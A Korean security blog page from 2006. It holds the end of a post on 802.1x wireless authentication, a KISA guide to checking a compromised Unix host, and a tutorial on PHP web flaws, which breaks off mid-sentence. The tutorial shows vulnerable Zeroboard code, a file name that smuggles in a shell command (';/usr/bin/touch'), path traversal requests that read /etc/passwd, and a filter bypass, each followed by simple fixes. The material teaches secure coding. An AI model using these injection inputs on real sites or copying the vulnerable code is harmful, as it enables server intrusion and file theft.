    현재 가장 널리 사용되고 있는 EAP-TTLS나 PEAP 등의 알고리즘을 사용할 때 관리상의 어려움이나 설치 상의 문제, 인프라의 부족 등을 이유로 서버 인증을 생략하는 경우가 많은데 이것은 보안 기반 구조를 설치하고도 여전히 취약점을 안고 있는 비효율적인 시스템이라 할 수 있다.

    최근에 출시되는 인증 서버들은 하드웨어 일체형에 서버 인증을 위한 인증서 발급 및 관리 시스템이 내장되어 있어 관리자가 손쉽게 양방향 인증을 구현할 수 있도록 하고 있으며 요구자 소프트웨어 역시 인증서 관리 기능이 포함된 제품들이 있어 설치를 쉽게 진행할 수 있도록 하고 있다.

    이상과 같이 무선랜 구축 시 능동적으로 망에 대한 침투와 도청 등을 막고 사용자에 대한 인증 및 관리 기능을 강화할 수 있는 IEEE 802.1x 규격의 적용에 대해 알아보았다

  • 2006/09/08 15:55 2006/09/08 15:55
    이 글에는 트랙백을 보낼 수 없습니다

             한국전산망침해사고대응지원팀/한국정보보호센터
                             CERTCC-KR/KISA
                  Computer Emergency Response Team, Korea
                      Korea Information Security Agency
                     Tel: 02-3488-4119, FAX: 02-3488-4129
                           cert@certcc.or.kr


    서    론

    이 문서는 당신의 시스템이 침입을 이미 당했을때 유닉스 기계의 보안을 위해
    무엇을 할 것인가를 보이고 있다. 이문서는 아직 침입을 당하지 않은 상태라
    할지라도 도움이 된다.
    ※ 이문서는 Compromise FAQ (Version: 2.0 , Christopher William Klaus/
    ISS) 을 분석한 내용이다.

    1.   침입자의 흔적과 출발지를 다음을 이용하여 분석한다.

    ===============================================================
     1.  who ;
    사용자 및 사용자의 컴퓨터 확인
     2.  w    ;
    사용자 및 사용중인 명령의 확인
     3.  last ;
    사용자들의 로그인/로그아웃 일시 기록 확인
     4.  lastcomm ;
    사용자들의 시스템 명령 및 프로세스 기록 확인
     5.  netstat ;
    네트워크 접속 현황 확인
     6.  snmpnetstat ;
    네트워크관리 시스템에서의 현황
     7.  라우터 정보 ;
    라우터의 라우팅 및 접속 등의 현황 확인
     8.  /var/adm/messages ;
    전자우편 송수신 현황 기록 확인(많은 침입자들이 자신의 기계로
    전자우편 송신)
     9.  syslog ;
    시스템 로그 확인(다른 기계로도 로그를 보낸다)
    10.  wrapper 로그 ;
    외부 시스템 접속 차단 프로그램의 연결
    11.  기계의 모든 사용자에게 finger를 하여 어디서 왔는지 점검
    ===============================================================

    참고 : who, w, last, lastcomm은 /var/pacct, /usr/adm/wtmp 의 기
    록에 의해보고하는데, 침입자들은 뒷문(Backdoor Program)을 이용하
    여 이 로그들을 수정하여 자신의 흔적을 지울 수 있다. 그리고 침입
    자가 아직 이런 뒷문이 없다하더라도 아주 쉽게 이로그들을 수정하거
    나 지울 수 있다. 하지만 가끔 침입자들은 모든 로그삭제를 잊어버릴
    수도 있으며, 특히 비 표준 유닉스 로그를 설치한 경우에 더욱 그렇
    다.

    2. xinetd나 tcp_wrapper는 당신이 원한다면 외부에서의 모든 접속에
    대해 로그를 남길 수 있으며, 침입자가 로그를 수정하거나 지울 수
    없도록 이 로그들을 다른 기계에 옮겨두는 것이 좋다 netlog는 다음
    에서 가져올 수 있다. 적절한 대책을 세우기 전에 침입자가 ethernet
    sniffer로 다른 기계에 어떻게 침입하는지를 모니터링하는 것이 좋다.

    3. 외부로 부터 접속하는 기계들을 막고 특히 침입자의 접근을 막기 위
    해 네트워크를 중지시킨다. 만약 침입자가 눈치챈다면 당신의 기계에  
    "rm -rf /"을 실행하여들지 모른다.

    4. 시스템 실행 파일의 변경 유무룰 점검하는데, 특히 뒷문프로그램으로
    잘 이용되는 다음 프로그램들을 중점 점검한다.

         1.  /bin/login
         2.  모든 /usr/etc/in.* files (예: in.telnetd)
         3.  /lib/libc.so.* (on Suns).
         4.  inetd에서 호출되는 모든 것

    기타 잘 교체되는 것으로서는  다음과 같은 것이 있다.

         1.  netstat - 정보를 감추게 한다
         2.  ps - 프로세스를 감추게 한다 (예: Crack)
         3.  ls - 디렉토리를 감춘다
         4.  ifconfig - 이더넷에 대한 promiscuity mode 를 감춘다
         5.  sum - sum을 수정하지 않고도 실행파일의 체크썸을 올르게 위장
    할 수 있으므로 더 이상 교체하지는 않는다. sum 을 믿어
    서는 안된다.

    파일의 실제 수정 시간을 알기 위해서는 "ls -lac"를 사용한다.
    /etc/wtmp 를 점검하여 시스템 시간을 체므하고 CD나 테이프의 원
    본과 비교하거나 MD5 체크썸이 이전의 체크썸과 다른지 비교하며,
    흔히 off-line으로 저장된 미리 만들어진 체크썸과 cmp 명령으로 비
    교한다. 또 흔히 사용되는 뒷문으로서 /bin/time과 같은 setuid 프로그
    램인데, 이들은 일반 사용자가 root로 실행할 수 있게 해준다.  이런
    프로그램을 찾기 위해서는 다음 명령을 이용하면 된다.

            find / -type f -perm -4000 -ls

    하다보면 OS  전체를 다시 설치해야될지도 모른다. Tripwire 는 관
    리자 몰래 실행파일을 수정하거나 inetd.conf와 같은 시스템파일을 수
    정을 방지할 수있다.

    5.   사용자들이 자주 자신의 패스워드를 바꿀 수 있도록 해주는 passwd
    프로그램으로 교체한다. anlpasswd, npasswd 혹은 passwd+ 등을 설
    치하여 적절한 패스워드를 만들 수 있도록 하며, Crack 를 주기적으
    로 실행한다. 이것은ftp://ftp.cert.org/pub/tools.crack에서 가져올 수
    있으며, 이 Crack 을 이용하여 사용자들이 어려운 패스워드를 만들도
    록 한다. 네트워크에서 평문 패스워드가 전달되는 것이 문제이다.
    Smart Hub는 LAN에서 sniffer가 모든 LAN을 도청하는 것을 막을
    수 있으며, 혹은 일회용 패스워드를 사용한다.

    6. 모든 사용자의 .rhosts, .forward 등을 점검한다. 만약 .rhosts가 "+"
    를 가지고 있으면 어떤한 시스템에서도 패스워드 체크 없이접근할 수
    있다. COPS는 다음 과 같은 체킹 스크립트를 가지고 있다.

            find / -name .rhosts -ls -o -name .forward -ls

    의심스러운 모든 파일의 생성 및 수정 시간을 점검하는데 다음을 이
    용한다.

            find / -ctime -2 -ctime +1 -ls

    이것은 이틀전 에서 하루 이후 에 수정된 파일을 찾아준다.

    모든 .login, .logout, .profile, .cshrc 들도 적어도 수정일 및 시간 등을
    점검 하며, .rhosts 파일이 잠궈진 것은 없는지, news, sundiag, sync
    등의 계정에 대한 쉘이 보다 안전을 위해 "/bin/false"로 되어 있어야
    하며 "/bin/sh" 등으로 되어 있어서는 안된다.  또한 ". ", ".. "  등의
    디렉토리가 없는지 점검하는데 대부분 /tmp,/var/tmp, /usr/spool/* 나
    공개적으로 쓰기 할 수 있는 디렉토리에서 많이 발견된다.

    7. NFS가 외부에 널리 공개된것은 아닌지 점검한다.
    ftp://harbor.ecn.purdue.edu/pub/davy에서 가져올 수 있는 NFSwatch
    는 NFS트랜잭션에 대해 로그를 만들어주며, "showmount -e" 를 하
    여 적절하게 개방한대로 구성되어 있는지 점검할 수 있다. 256 바이
    트를 넘긴 경우에 nfsd는 버그를 가지고 있으며, 또한 당신이 마운트
    하고 있는 시스템에 대한 점검도 중요하다. 가능한 "nosuid"플래그를
    사용하기 바라며, 다른 호스트나 침입자가 실행하는 NFS마운트된
    suid 프로그램을 실행하는 sysadm에의해 침입되기를 바라지는 않는
    것이다.

    8. 가장 최근의 sendmail을 설치한다.  이전 버젼의 sendmail은 원격지
    명령을 실행하도록 한다.

    9. 가장 새로운 패치를 설치하도록 한다.

    10. 시스템이 취약점이 있는지 점검하는 리스트가 있다.

    (1)  원하지 않은 프로세스가 없는지, "rpcinfo -p"를 이용하여 점검한다.

    (2)  hosts.equiv 에 "+" 가 없는지 점검한다.

    (3)  tftp를 사용하지 않든가, 사용하기를 원한다면 "-s" 플래그를 사용한다.
        이 경우는 대부분 디스크없는 워크스테이션을 위한 경우인데, 적절하게  
        NFS를 이용할수도 있다. 이것을 root 로 실행하지 않도록 하며,        
        /etc/inetd.conf에서 다음과 같이 바꾼다.

         tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot

       혹은 원치 않는 곳에서의 접근을 막기 위해 tcp_wrapper에서 tftpd에 대  
       한 부분을 고치고 모든 접속 상황을 로그로 남긴다.

         tftp dgram udp wait nobody /usr/etc/tcpd in.tftpd -s /tftpboot

        혹은 /etc/hosts.allow 에서 정의된 허용한 곳에서만 접근할 수 있도록  
        조정한다.

    (4) crontab과 at-vobs 를 점검한다. 침입자가 남긴 모든 것을 정리했다고  
        생각한 후 이것이 어떤 작업을 할 수 있다.

    (5)  rc.boot, rc.local(SYSV : /etc/rc?.d/*)나 기타 시스템 시작시 실행 파일
        들을 점검한다. 가장 좋은 방법은 off-line으로 저장했다가 주기적으로  
        점검하는 것이며, sendmail.cf, hosts.allow, at.allow, at.deny, cron.allow,  
        hosts, hosts.lpd 등의 시스템 구성파일들을 점검한다. "aliases"는 메일  
        확장을 위한 것인데,  "uudecode" 등과 같은 것을 가지고 있을 수 있다.
    (6) inetd.conf 와 /etc/services 파일에서 침입자가 추가한 불법 프로그램 서  
       비스가 있는 지 점검한다.

    (7) 현재 가지고 있는 모든 로그 파일(pacct, wtmp, lastlog, sulog, syslog,  
        authlog 등)들을 다른 안전한 곳으로 옮긴다.  /tmp/* 파일들을 먼저 살  
        펴 본 후 재시동(Reboot) 한다.

    (8) /etc/passwd 파일의 여벌파일을 가능한 디스켓 등으로 저장한 후 su 및  
        passwd 프로그램이 뒷문(Backdoor) 가 아님을 확인한 후 root  패스워  
        드를 바꾼다. 만약 침입자가 su 나 passwd 뒷문을 설치하였다면      
        /etc/passwd  파일의 패스워드 부분을 모두 "*"로 바꾼다. 또한 침입자  
        가 패스워드 파일을 가지고 있다면 모든 사용자들의 패스워드를 알아낼  
        가능성이 있으며, 장기간 사용하지 않는 사용자의 패스우드를 바꿀 수  
        도 있다.  NIS서버에서는 단순히 /etc/passwd 뿐 아니라 NIS 맵에 해  
        당하는 것들도 점검해야 한다.

    (9) 익명FTP나 다른 네트워크 서비스 시스템들이 적절하게 구성되어 있는  
        지 점검한다.

    (10) inetd를 다시 설치한다.

    (11) 콘솔 만이 "secure" 단말로 정의하여 다른 단말에서 root 로 로그인할  
        수 없도록 한다.
    (12) hosts.equiv, .rhosts, hosts.lpd 에 "#" 이 있는지 점검한다. 만약 침입자  
        가 "#" 을 기계이름으로 정의하였다면 누구나 신뢰하는 호스트로 정의  
        된다.
    (13) 침입자에 대한 경각심을 늦추지 않는다.

    11.  침입자가 경유한 모든 기관의 시스템에 전자우편을 보내고
    cert@certcc.or.kr 로도 메일을 보내 협조를 요청한다.


    12. 침임자들의 시도를 방지하는 좋은 방법은 방화벽이라는 전산망 침입
    차단시스템을 설치 운영하는 것이다. 하지만 방화벽은 가격이 비싸고
    필터링에 따른 네트워크의 속도가 저하될 가능성이 크다. 라우터에서  
    NFS(2049/UDP), portmap(111/UDP) 를 막아야 한다. DNS 와 NTP
    포트만 제외하고 모든 패킷을 막고, 출발지라우팅(Source Routing),
    모든 IP-Forwarding 패킷을 사용하지 않는다.
    2006/09/08 15:54 2006/09/08 15:54
    이 글에는 트랙백을 보낼 수 없습니다
    Hacking  2006/09/08 12:51
    1) system, exec, passthru 함수 사용시 주의할점

    Cracker 가 Web Hacking 시에 가장 궁극적인 목적은 (원하는) 바로 System
    명령어 실행일 것이다. 개발자가 Web 프로그래밍을 할때 프로그램에 필요한 기능으로
    Language 에서 제공하는 System Execute Fucntion 을 사용하는 경우가 많이 있다.

    이러한 기능을 하는 Function 으로써, PHP 를 예를 들자면 system() 나 exec()
    Function 을 들 수 있다. 이와 같은 System Execute Function 들은 Web 에서
    System 으로 명령을 Execute 를 할 수 있게끔 도와준다. 그리고 실행되는
    Process 들의 권한은 현재 돌아가고 있는 WebServer 의 uid, gid, euid, guid 로
    실행된다. (프로세스가 가지는 것은 effective uid 이다.)

    uid (user identifier) 같은 것들은 like unix 에서 사용자를 구별하기 위해
    사용되는 숫자 또는 이름이다. like unix 에서는 보안을 위하여 uid 나 혹은
    euid 를 갖고 그 사용자의 권한을 Check 하는 경우가 많다.

    Web 어플리케이션 개발자로서 이러한 부분은 크게 신경쓰지 않아도 된다.
    실질적으로 Web 에서 System Execute 를 하였다고 하여도, 커널 내부적으로는
    보통의 uid 를 가진 user 가 Shell 상에서 System call 을 요청하는 것이랑 별반
    다를바가 없지만 Web 어플리케이션 개발자는 그런 깊숙한 부분은 신경쓸 필요가
    없다는 이야기이다. Web 어플리케이션 개발자는 Cracker 가 System 에 침입할 수
    없게끔 1 차 적인 보안 조취를 취하도록 프로그래밍을 하면 된다.

    그러면 실제로 Web 프로그래밍을 할시에 system(), exec() 같은 Function 을
    사용하는 경우는 어떤 경우인가. 가장 대표적인 예를 들자면 게시판을 들 수가
    있다. 예를 들어 사용자가 Upload Board 를 이용해 특정 자료를 Server 에
    올렸다고 하자. 그런데 자료 Upload 에 실수를 하여 게시물을 지우고자 할때는
    Delete 메뉴를 이용한다. Delete 메뉴를 이용하여 해당 게시물을 지우고,
    같이 올려진 파일도 지워야 한다. 예를 들어 다음과 같이 지운다고 하자.

    http://beist.org/delete.php?text=1.txt&file=1.zip

    /* delete.php 파일을 요청할때 argument 로 text 와 file 을 건내주었고
    그 값은 해당 게시물이 담긴 txt 파일과 Upload 시에 올린 자료명이다. */

    sample1.php

    <?

    /* 생략 */

    system("/bin/rm -f data/$text");
    system("/bin/rm -f data/$file");

    /* 생략 */

    ?>

    /* system() Function 을 이용하여 OS 내부에 있는 /bin/rm 이라는 프로그램을
    이용하여 data 디렉토리 밑의 1.txt 를 지우게 한 프로그램이다.
    /bin/rm 은 지우기를 시도하는 사용자의 ID 가 해당 지우려고 하는 파일의
    소유자와 일치할때 그 파일을 지워주는 프로그램이다. /bin/rm 을 실행할때
    준 -f 옵션은 force 의 의미로써 조건만 만족한다면 무조건 지우는 옵션을
    뜻한다. */

    sample1.php 에는 게시물 처리를 위하여 다른 부분도 필요하겠지만 여기서는
    이해를 쉽게 하기 위하여 프로그램에서 취약한 부분만을 적게 되었다.

    이런 식으로 Web CGI 에서 System Execute Function 은 이용된다. 그러면 이제
    실제로 존재하는 CGI 에서 System Execute Function 을 잘못 사용하였을때 일어
    나는 취약점을 알아보자.

    실제로 필자가 발견한 버그를 이용할 것이다. 해당되는 Web CGI 는 게시판으로
    유명한 Zeroboard 3.5.x 이다. 이 글을 쓰는 지금, Zeroboard 의 버전은 4.0.x
    버전까지 나와있지만 잘못된 System Execute Function 사용으로 인한 결과를
    설명하기에 적절한 코드인것 같아 이것으로 설명하겠다.


    문제가 되는 부분은 zeroboard 의 delete_list.php3 파일이다.

    delete_list.php3

    1 <?
    2 // 지금 삭제할려는 글의 데이타를 가져옴
    3 $data=mysql_fetch_array(mysql_query("select * from zeroboard_$id where
    4 no='$no'",$connect));
    5 // 이 글에 답글이 있는지 없는지를 검사
    6 $check=mysql_fetch_array(mysql_query("select count(*) from zeroboard_$id
    7 where headnum='$data[headnum]' and arrangenum>'$data[arrangenum]' and
    8 depth>'$data[depth]'", $connect));
    9 if($check[0]>0) Error("답글이 있는 글은 삭제할수 없습니다");
    10
    11 // 파일삭제
    12 if($data[file_name]||$data[file_name2])
    13 {
    14 @system("rm -rf data/$id/$data[reg_date]/$data[file_name]");
    15 @system("rm -rf data/$id/$data[reg_date]/$data[file_name2]");
    17 @system("rm -rf data/$id/$data[reg_date]");
    18 @unlink("data/$id/$data[reg_date]/$data[file_name]");
    19 @unlink("data/$id/$data[reg_date]/$data[file_name2]");
    20 @unlink("data/$id/$data[reg_date]");
    21 }
    22
    23 // 글 삭제
    24 mysql_query("delete from zeroboard_$id where no='$no'",$connect);
    25 mysql_query("delete from zeroboard_memo_$id where parent='$no'",$connect);
    26 $temp=mysql_fetch_array(mysql_query("select count(no) from zeroboard_$id",
    27 $connect));
    28 mysql_query("update $admin_table set total='$temp[0]' where name='$id'",
    29 $connect);
    30
    31 // 간단한 답글 삭제
    32 mysql_query("delete from $comment_table where table_name='$id' and parent='$no'",
    33 $connect);
    34 ?>

    이 script 의 기능은 특정 게시물을 지우는 것이다. 지울 때 file 도 같이 삭제를 한다.
    중요 취약성이 되는 부분은 14~17 라인이다. $data[file_name] 과 $data[file_name2]
    변수는 file name 이다.

    zeroboard 에서 upload 된 file 이 놓이는 위치는 data/$id/$data[reg_date] 이다.
    $id 는 board name 을 뜻하고 $data[reg_date] 는 게시물을 쓴 시간을 뜻한다.
    이 것들은 mysql database 에 담겨있으며 3 번째 라인에서처럼 가져와 $data 변수에
    담는다.

    file 을 지울때 System Execute Function 인 system 함수를 이용하는데 Cracker 는
    이를 이용하여 System 에 침입할 수가 있다.

    자세한 방법을 알아보자. Cracker 는 Write Form 에서 File upload 할때 File 의
    이름을 임의로 설정할 수 있다.

    write_main.php3

    1 <?
    2 // 자료실 사용시
    3 if($data[file_name])
    4 {
    5 $file_exist=$data[file_name]."파일이 등록되어 있습니다
    6 <br>";$file_del="<input type=checkbox name=del_file value=1> 삭제";
    7 }
    8 if($data[file_name2])
    9 {
    10 $file_exist2=$data[file_name2]."파일이 등록되어 있습니다<br>";
    11 $file_del2="<input type=checkbox name=del_file2 value=1> 삭제";
    12 }
    13 if($setup[use_pds])
    14 {
    15 ?>
    16 <tr>
    17 <td align=right>Upload File &nbsp;</td>
    18 <td><div style=line-height:160%>
    19 <? echo $file_exist;?> <input type=file name=file
    20 size=<?echo $size[8];?> maxlength=255 class=input>
    21 <? echo $file_del; ?><br>
    22 <? echo $file_exist2;?> <input type=file name=file2
    23 size=<?echo $size[8];?> maxlength=255 class=input>
    24 <? echo $file_del2; ?>
    25 </tr>
    26 <?
    27 }
    28 ?>

    위 소스는 write_main.php3 의 일부이다. 취약성이 되는 부분은 아니고 사용자가
    Write 버튼을 클릭했을때 보여주는 Write Form 이다. 13 번째 줄에서 Admin 이
    해당 게시판에 File Upload 를 허용했다면 16~25 줄까지의 내용을 뿌린다. 잠깐
    살펴보면

    <input type=file name=file size=200000000 maxlength=255 class=input>

    이 정도일 것이다. 우리는 이 필드를 이용하여 File 을 Upload 할 수 있는데,
    여기서 악의적인 조취를 취하면 Server 에 특정 Command 를 실행할 수 있다.

    delete_list.php3 에서 봤듯이 file 을 지울때 rm 을 이용하여 지우게 된다.
    이는 shell 을 사용한다는 것이다. ; 와 | 는 연속, 연결을 의미하니까 file
    name 에서 악의적인 file name 을 주면 cracker 는 원하는 일을 할 수 있다.

    ex)

    filename : test;/usr/bin/touch /tmp/imbeist

    이런 식으로 file name 을 주어 Server 에 올린다면 mysql Database 에도
    test;/usr/bin/touch /tmp/imbeist 가 올라가게 될 것이다. 그리고 해당 게시물을
    다시 지운다면 delete_list.php3 에 의해서

    @system("rm -rf data/test1/4444444/test;/usr/bin/touch /tmp/imbeist");

    의 명령이 실행될 것이다.
    (여기서 test1 과 4444444 는 임의로 만든 것이다)

    그렇다면 세미콜론에 의해서 두 명령이 내려질 것이고 touch 를 이용하여
    cracker 는 /tmp directory 밑에 imbeist 라는 file 을 생성시킬 수 있다.
    이 것을 이용하여 term 이라든가 port 를 열어서 shell 을 실행 시킬수 있게끔
    해놓는다던가 방법은 많다. Cracker 에게 있어서 이 Security Hole 은 Web hacking
    에 있어서 궁극적인 목표까지 다달은 것이다.

    해결책을 알아 보자.

    필자가 생각하는 해결 방법은 (위의 상황으로만 프로그래밍을 해야할때)
    file name 을 체크하는 것이다. file name 에는 정상적인 알파벳이나 숫자, 그리고
    . 를 제외하고 나머지의 문자가 들어갈 필요가 없다. 그래서 file name 을 검사할때
    만약 ../ or ; or | 같은 문자가 들어온다면 script 실행을 중지하는 것이 좋을것
    같다.

    if(eregi(";", $file_name))
    {
    echo "장난하니?.. file 이름에 ; 가 들어있습니다.";
    exit;
    }

    if(eregi("\|", $file_name))
    {
    echo "장난하니?.. file 이름에 | 가 들어있습니다.";
    exit;
    }

    (여기에서는 ; 과 | 만 처리를 하였다.)

    위와 같은 방법으로 script 실행을 중지하는 것을 원치 않는다면 eregi_replace
    같은 function 을 이용하여 빈칸으로 만드는 방법도 괜찮은 방법이다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    2) Open 함수 사용시 주의할점

    이번 주제는 Web 프로그래밍 중에서 가장 일어나기 쉬운 버그 중의 하나이다.
    Web CGI 에서 File Open 은 많이 쓰이는 알고리즘 중에 하나이다. 하지만
    이 알고리즘이 잘못 쓰여졌을 경우에 심각한 Security Hole 을 일으킬 수도
    있다.

    Web CGI 에서 File Open 이 쓰이는 경우를 보자. 예를 들어 Web Page 의 Menu
    를 구현한다고 하자.

    menu.html

    <html>
    <head>
    <title>Beist Home 에 오신 것을 환영합니다.</title>
    </head>
    <body>
    <center>
    <a href=link.php?file=profile.html>나의소개</a><br>
    <a href=link.php?file=board.html>게시판</a><br>
    <a href=link.php?file=site.html>추천사이트</a><br>
    </center>
    </body>
    </html>

    간단하게 구현해 본 Menu 이다. Menu 는 나의소개, 게시판, 추천사이트로 나뉘
    어져 있으며 link.php 라는 File 을 통해 접근을 한다. 각 페이지를 모두 설명할
    필요는 없으니 profile.html 파일만 따로 작성하여 설명하겠다.

    link.php

    1 <?
    2
    3 $exist = file_exists("./$file");
    4 if(!$exist)
    5 {
    6 echo "$file 파일은 없다.\n";
    7 exit;
    8 }
    9
    10 $fp=fopen("./$file", "r");
    11
    12 while(!feof($fp))
    13 {
    14 $msg .= fgets($fp,100);
    15 }
    16
    17 $msg=nl2br($msg);
    18
    19 echo $msg;
    20
    21 ?>

    profile.html

    <html>
    <head>
    <title>yo man.. i'm beist</title>
    <body>
    전 남자에요. 84 년생이고요. 별명은 스누피.
    </body>
    </html>

    link.php 의 기능은 간단하다. 먼저 fopen 을 시도하기 전에 file_exists 를
    이용하여 현재 디렉토리에 그런 파일이 있는지 없는지 확인을 하고 없으면
    script 실행을 중지시킨다. 존재한다면 fopen 을 이용하여 현재 디렉토리를 기준으로
    read mode 로 file 핸들러를 연다. 그리고 $msg 에 file 의 내용을 담은 후에
    사용자에게 뿌려준다. 여기에서는 현재 directory 를 기준으로 한다는 것을
    명시하기 위하여 $file 앞에 ./ 를 붙였지만 ./ 를 붙이지 않아도 php 에서는
    현재 directory 에서부터 찾으라는 것으로 인식한다.

    만약 link.php?file=profile.html 이라고 한다면 file 변수의 값인 profile.html
    을 열어서 사용자에게 보여주는 것이다.

    [요청]
    http://server/link.php?file=profile.html

    [결과]
    전 남자에요. 84 년생이고요. 별명은 스누피.

    하지만 이런 알고리즘은 취약성을 갖는다. link.php 를 요청할때 file 의 변수를
    cracker 임의대로 변경하여 요청을 한다면 link.php 에서는 cracker 가 임의로
    변경한 file 의 내용을 돌려줄 것이다.

    예를 들어

    [요청]
    http://server/link.php?file=../../../../../../../../../etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    file 의 값을 상위디렉토리로 이동하기 위하여 ../ 를 여러개를 붙였고 etc
    directory 밑에 존재한 passwd file 을 열어서 cracker 는 passwd file 을
    볼 수 있었다.

    해결책을 알아 보자.

    개발자가 이 상황에서 신경써야 할 부분은 link.php 를 호출할때 인자로 딸려오는
    변수 $file 이다. cracker 가 $file 의 내용을 변경하더라도 link.php 에서는
    올바르게 처리할 수 있어야 한다.

    추천하는 처리 방법은 $file 의 내용을 조사하여 .. 같은 문자가 있다면 필터링을
    하는 것이다. 다음은 취약성을 개선한 소스이다.

    link2.php

    1 <?
    2 if(eregi("\.\.", $file))
    3 {
    4 echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
    5 exit;
    6 }
    7 $exist = file_exists("./$file");
    8 if(!$exist)
    9 {
    10 echo "$file 파일은 없다.\n";
    11 exit;
    12 }
    13
    14 $fp=fopen("./$file", "r");
    15
    16 while(!feof($fp))
    17 {
    18 $msg .= fgets($fp,100);
    19 }
    20
    21 $msg=nl2br($msg);
    22
    23 echo $msg;
    24
    25 ?>

    2 번째 라인에서 eregi 를 이용하여 $file 의 내용에 .. 가 있는지 check 를
    하였다. 만약 .. 라는 스트링이 $file 안에 존재한다면 cracking 시도로 간주
    하고 script 실행을 중지시키고, 들어있지 않다면 정상적으로 script 를 계속
    실행한다.

    [요청]
    http://server/link.php?file=../../../../../../../../../etc/passwd

    [결과]
    장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.

    이런 식으로 해결을 할 수도 있고 eregi_replace 를 이용하여 .. 를 공백으로
    만들어 무시할 수도 있을 것이다.

    위의 방법에 대하여 어떤 문제점이 발생할 수도 있다. Shell 에서는 (bash
    shell 기준) ../ 말고도 상위디렉토리로 접근하는 방법이 있다.

    예를 들어

    $ cd ./.\./

    이렇게 입력하면 상위 디렉토리로 이동한다는 것을 뜻한다. 그래서 만약 해커가

    http://server/link.php?file=./.\./.\./.\./.\./.\./etc/passwd

    이런식으로 요청을 한다면 eregi 는 체크를 하지 못할 것이다. 하지만 이 것은 걱정
    하지 않아도 된다. 왜냐하면 data 가 전송되어질때 encode-decode 과정에서 \ or
    ' or " 앞에는 \ 문자가 하나 더 붙기 때문이다. 그래서 실제로 저렇게 요청을
    한다더라도

    ./.\\./.\\./.\\./.\\./.\\./etc/passwd

    이란 파일을 열려고 시도하게 된다. 하지만 만약 php.ini 같은 설정 파일에서
    magic_quote 값을 변경하였을 경우 escape (\) 문자가 앞에 붙지 않게 된다.
    그래서 cracker 의 요청대로 passwd 파일을 open 할 것이고 출력하게 된다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    3) 눈에 보이지 않는 것에 대해 주의할점

    이번 주제 역시 Web 프로그래밍 시에 일어나기 쉬운 취약성 중 하나이다.
    아마도 Web 프로그램 만큼 BUG 가 많은 것도 없을 것이다. 왜냐하면 인터넷의
    발전에는 WWW 가 있었고 WWW 의 대부분에 CGI 가 사용되기 때문이다.
    (CGI 개발자들이 CGI 개발을 잘 못했다는 이야기가 아니라 워낙 많은 양의 CGI
    가 있어서 많은 BUG 가 발견 될 수 밖에 없다는 이야기이다.)

    이번의 BUG 는 BUG 라기보다는 개발자의 단순한 실수로 인한 것이라고 보는 것이 더
    정확할 듯 하다.

    이번에는 공지사항을 예로 들어서 설명을 하겠다. 공지사항은 Admin 만 올릴 수
    있는 Board 같은 것입니다.

    그러면 일반 사용자가 글을 쓸수 있지 못하도록 프로그래밍을 해야 한다.
    하지만 어떤 Web CGI 에서는 아주 이상한 방법으로 사용자가 글을 쓸수 없도록
    하기도 한다.

    board.php

    1 <?
    2
    3 echo "
    4 <html>
    5 <head>
    6 <title>게시판 Menu</title>
    7 </head>
    8 <body>
    9 ";
    10
    11 include "list_board.php";
    12
    13 echo "<br><br>";
    14
    15 echo "<a href=list.php>게시물 리스트</a><br>";
    16 echo "<a href=next.php>다음 글</a><br>";
    17 echo "<a href=pre.php>이전 글</a><br>";
    18
    19 if($adminpw="123456")
    20 {
    21 echo "<a href=writeform.html>공지사항쓰기</a><br>";
    22 echo "<a href=delete.html>글 삭제하기</a><br>";
    23 echo "<a href=modify.html>글 수정하기</a><br>";
    24 }
    25 echo "
    26 </body>
    27 </html>
    28
    29 ?>

    11 번째 줄에서 list_board.php 를 include 하는데 list_board.php 의 기능은
    공지사항의 게시물을 출력해주는 Script 이다. list_board.php 는 설명하려는
    취약성이 아니므로 소스 첨부를 하지 않겠다. 게시물의 리스트를 보여주고
    15~17 에서는 일반적인 게시판 메뉴들을 보여준다.

    그리고 만약 board.php 를 요청하였을때 변수 $adminpw 가 있고, 그 값이
    123456 이라면 이 사용자는 Admin 으로 인식하여 Admin 메뉴들도 뿌려준다.
    21~23 에서 쓰기, 삭제, 수정 메뉴들을 보여준다.

    모두 다 같은 원리이므로 여기서는 쓰기만을 예로 들어서 설명하겠다.

    writeform.html

    <html>
    <head>
    <title>이 page 는 공지사항 write form 이다.</title>
    </head>
    <body>
    <form action=write_ok.php method=post>
    제목 : <input type=text name=subject><br>
    본문 : <input type=text name=comment><br>
    비밀번호 : <input type=password name=pass><br>
    <input type=submit value=글쓰기>
    </form>
    </body>
    </html>

    위와 같은 write form 을 이용하여 우리는 공지사항을 올릴 수 있을 것이다.

    하지만 writeform.html 을 보다시피 writeform.html 자체에서는 이 사람이
    admin 인지 아닌지 확인하는 알고리즘이 없다. (write_ok.php 에서도 Admin
    인지 확인하는 알고리즘이 없다고 가정한다.) 그래서 만약 Cracker 가
    board.php 에서 $adminpw 와 그에 맞는 값을 가지고 요청을 하지 않아도,
    writeform.html 의 url 만 알고 있으면 공지사항을 쓸 수 있다는 이야기이다.

    이런 Bug 도 일종의 Security Hole 이라고 할 수 있다. 이런 류의 취약점은
    비슷한 상황에서 여러 종류의 취약점으로 발견된다. 예를 들면 Web Board
    에서 File Upload 시에 <input type=file> 만 출력하지 않아서 자료실 기능이
    없는 것처럼 만들어 놓았지만, 실제로는 자료실 기능이 없는 것이 아니라
    단순하게 <input type=file> 만 출력하지 않는 것이다.

    sample.php

    <?

    echo "
    <html>
    <head>
    <title>write form!</title>
    </head>
    <body>
    <form action=write_ok.php method=post ENCTYPE=\"multipart/form-data\">
    제목 : <input type=text name=subject><br>
    본문 : <input type=text name=comment><br>
    ";

    $fp=fopen("conf.txt", "r");

    $test=fgets($fp, 2);

    if($test==1)
    echo "
    <input type=file name=infile><br>";

    echo "
    <input type=submit value=글쓰기><br>
    </form>
    </body>
    </html>
    ";

    ?>

    이런 식으로 conf.txt file 에서 데이터를 읽은 후 그 값이 만약 1 이라면
    File upload 기능을 사용한다고 보고 <input type=file> 을 출력하여 주는 것
